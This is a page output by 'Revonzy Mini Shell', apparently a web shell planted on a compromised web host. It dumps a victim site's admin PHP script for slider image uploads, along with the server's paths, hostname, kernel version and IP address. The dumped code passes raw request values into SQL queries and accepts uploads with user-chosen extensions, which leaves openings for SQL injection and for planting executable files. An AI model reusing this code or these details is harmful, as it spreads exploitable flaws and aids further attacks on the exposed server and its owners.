Revonzy Mini Shell

Şuanki Dizin: /home4/shrishtiarchitec/public_html/adminpanel/slider/
Dosya Yükle :
Şuanki Dosya : //home4/shrishtiarchitec/public_html/adminpanel/slider/imageuplaod_curd.php

<?php 
include('../../config.php'); 
require_once(PATH_LIBRARIES.'/classes/DBConn.php');
require_once(PATH_LIBRARIES.'/functions/fun1.php');
$db = new DBConn();

$pathmulti = ROOT."/image_upload/slider/";

///*******************************************************
/// To Insert New category /////////////////////////////////
///*******************************************************
if($_POST['type']=="addImageupload")
{	
	
	$con= mysql_connect(SERVER,DBUSER,DBPASSWORD);
	mysql_query('SET AUTOCOMMIT=0',$con);
	mysql_query('START TRANSACTION',$con);
	
	try
	{
		$title = mysql_real_escape_string($_POST['title']);
	 	$line1 = mysql_real_escape_string($_POST['line1']);
	 	$url = mysql_real_escape_string($_POST['url']);
		
		$gallary = $_FILES['imageupload']['name'];
		
		$i=0;
		foreach($gallary as $gallaryval)
		{
		
		$tmp2 = $_FILES['imageupload']['tmp_name'];
		
		$image=explode('.',$gallaryval);
		$gallary_image = time().'.'.$image[1]; // rename the file name
		if(move_uploaded_file($tmp2[$i], $pathmulti.$gallary_image))
		 {
								
			$sql1="INSERT INTO slider(Image,Title, Line1, URL, Position) VALUES('".$gallary_image."','".$title."','".$line1."','".$url."','".$_POST['position']."')";
						
			$res1=mysql_query($sql1);
			if(!$res1)
			{
				//echo mysql_error();
				throw new Exception('0');
			}
				
			$i++;
	   	 }
		}//end of foreach
	
	    echo 1;
		mysql_query("COMMIT",$con);
			
	}
	catch(Exception $e)
	{
		echo  $e->getMessage();
		mysql_query('ROLLBACK',$con);
		mysql_query('SET AUTOCOMMIT=1',$con);
	}
}

///*******************************************************
/// Edit Slider image
///*******************************************************
if($_POST['type']=="editImageupload")
{
	$con= mysql_connect(SERVER,DBUSER,DBPASSWORD);
	mysql_query('SET AUTOCOMMIT=0',$con);
	mysql_query('START TRANSACTION',$con);
	
	try
	{
	 	
		if($_REQUEST['imageupload']=='')
		{
			//Image Name
			$gallary = $_FILES['fileupload']['name'];			
			//Temp Image Image
			$tmp2 = $_FILES['fileupload']['tmp_name'];
		
			$image=explode('.',$gallary);
			$gallary_image = time().'.'.$image[1]; // rename the file name

			move_uploaded_file($tmp2, $pathmulti.$gallary_image);
				
			//Unlink Old Image from folders
			$select=$db->ExecuteQuery("SELECT Image FROM slider WHERE Id=".$_REQUEST['id']);
			if(count($select)>0)
			{
				unlink($pathmulti.$select[1]['Image']);
		    }
			
		}
		else
		{
			$gallary_image=$_POST['imageupload'];		
		}


	 	$title = mysql_real_escape_string($_POST['title']);
	 	$line1 = mysql_real_escape_string($_POST['line1']);
	 	$url = mysql_real_escape_string($_POST['url']);

		$tblfield=array('Title','Line1','Image','URL','Position');
		$tblvalues=array($title, $line1, $gallary_image,$url,$_POST['position']);
		$condition="Id=".$_POST['id'];
	    $res=$db->updateValue('slider',$tblfield,$tblvalues,$condition);

		if(!$res)
		{
			throw new Exception('0');
		}
	
	    echo 1;
		mysql_query("COMMIT",$con);
			
	}
	catch(Exception $e)
	{
		echo  $e->getMessage();
		mysql_query('ROLLBACK',$con);
		mysql_query('SET AUTOCOMMIT=1',$con);
	}
}


 ///*******************************************************
/// Delete row from Plant table
///*******************************************************
if($_POST['type']=="delete")
{
	$res=$db->ExecuteQuery("Select Image FROM slider  where Id=".$_POST['id']."");
	
	//Check image exist or not
	 if(count($res)>0)
	 {
		unlink($pathmulti.$res[1]['Image']);
		//unlink($pathmulti1.$image['Image']);
		
		$tblname="slider";
		$condition="Id=".$_POST['id'];
		$res=$db->deleteRecords($tblname,$condition);
		if($res)
		{
			echo 1;
		}
		else
		{
			echo 0;
		}
	 }
	 else
	 {
	
		echo 0;
	}
}

?>

EliteHackz.ORG
Revonzy Mini Shell
root@revonzy.com

Linux vps.suncrosonline.com 3.10.0-862.3.2.el7.x86_64 #1 SMP Mon May 21 23:36:36 UTC 2018 x86_64
Apache
162.241.69.42